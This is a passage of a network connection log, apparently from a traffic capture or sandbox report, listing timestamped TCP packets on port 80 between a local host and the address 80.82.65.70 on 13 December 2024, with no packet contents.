Dec 13, 2024 03:40:48.184357882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.184406042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.186954021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.187007904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.187047958 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.187094927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.189635992 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.189686060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.189758062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.189802885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.192327976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.192382097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.192451000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.192500114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.195029020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.195086002 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.195153952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.195214033 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.197710991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.197763920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.197828054 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.197875977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.200438023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.200491905 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.200546026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.200603008 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.203129053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.203191042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.203241110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.203294992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.205826044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.205879927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.205956936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.206007004 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.209683895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.209722996 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.209741116 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.209795952 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.211705923 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.211764097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.211877108 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.211930037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.214096069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.214132071 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.214152098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.214170933 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.217401028 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.217454910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.217458963 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.217614889 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.219971895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.220007896 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.220029116 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.220045090 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.222569942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.222652912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.222737074 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.222822905 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.246723890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.246762037 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.246814966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.246876001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.247795105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.247848988 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.248303890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.248339891 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.248359919 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.248385906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.250952005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.251004934 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.251068115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.251126051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.253623962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.253680944 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.253796101 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.253849983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.256418943 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.256455898 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.256474972 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.256500959 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.259010077 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.259064913 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.259141922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.259198904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.261240005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.261288881 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.261293888 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.261339903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.263860941 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.263916969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.263979912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.264034986 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.266633034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.266668081 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.266683102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.266711950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.269324064 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.269377947 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.269416094 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.269471884 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.272794962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.272849083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.275580883 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.275619030 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.275638103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.275662899 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.276580095 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.276617050 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.276634932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.276660919 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.278531075 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.278585911 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.278656006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.278714895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.281254053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.281305075 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.281366110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.281421900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.283922911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.283977985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.284063101 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.284117937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.286622047 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.286675930 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.286756039 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.286813021 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.289340973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.289397001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.289477110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.289530993 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.292021990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.292074919 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.292156935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.292215109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.294719934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.294790983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.294872046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.294929028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.299534082 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.299570084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.299617052 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.299679041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.300540924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.300596952 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.301213980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.301268101 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.303388119 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.303426027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.303442001 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.303473949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.306783915 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.306819916 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.306835890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.306864023 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.308722973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.308758974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.308763981 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.308805943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.311309099 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.311357021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.311357975 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.311403990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.313719034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.313766003 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.313772917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.313828945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.316601038 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.316657066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.317270041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.317322969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.319458008 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.319494009 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.319513083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.319539070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.322043896 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.322099924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.322189093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.322242022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.324697971 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.324753046 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.324857950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.324912071 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.327516079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.327570915 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.327676058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.327729940 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.330334902 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.330363989 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.330389023 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.330400944 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.354279041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.354342937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.366791964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.366909027 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.367010117 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.367091894 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.367443085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.367499113 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.367552042 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.367600918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.370074034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.370121002 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.370243073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.370295048 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.372724056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.372767925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.372850895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.372899055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.374902010 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.374949932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.375029087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.375072956 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.377106905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.377156019 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.377233982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.377275944 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.379218102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.379268885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.379364014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.379416943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.381376028 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.381426096 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.381499052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.381551027 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.383594036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.383646011 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.383708954 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.383773088 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.385713100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.385762930 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.385827065 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.385878086 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.387881041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.387938023 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.388009071 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.388058901 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.390023947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.390090942 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.390146017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.390197039 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.392189026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.392256021 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.392313957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.392366886 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.394342899 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.394407988 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.394463062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.394519091 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.396517038 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.396632910 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.396651030 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.396687984 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.398682117 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.398730040 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.398802996 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.398926973 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.400827885 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.400877953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.400902987 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.400950909 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.403012991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.403088093 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.403148890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.403202057 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.405157089 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.405222893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.405277967 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.405328035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.407309055 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.407373905 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.407435894 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.407486916 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.408837080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.408888102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.408953905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.409003973 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.410316944 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.410367012 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.410432100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.410487890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.411851883 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.411885977 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.411904097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.411932945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.451489925 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.451543093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.451642036 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.451719999 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.451927900 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.451991081 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:48.452018976 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.452069044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.490792990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:48.610783100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.219187975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.219218016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.219248056 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.219271898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.219558954 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.219595909 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.219638109 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.219664097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.220721960 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.220740080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.220769882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.220781088 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.221620083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.221666098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.221740961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.221782923 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.222755909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.222801924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.222917080 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.222961903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.223850965 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.223895073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.223913908 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.223953009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.224881887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.224925995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.225044966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.225089073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.226075888 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.226094007 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.226120949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.226131916 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.227097988 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.227143049 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.227221966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.227261066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.228138924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.228183985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.228244066 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.228290081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.229209900 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.229258060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.229334116 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.229376078 CET	49730	80	192.168.2.4	80.82.65.70
Dec 13, 2024 03:40:49.230268955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 13, 2024 03:40:49.230312109 CET	49730	80	192.168.2.4	80.82.65.70
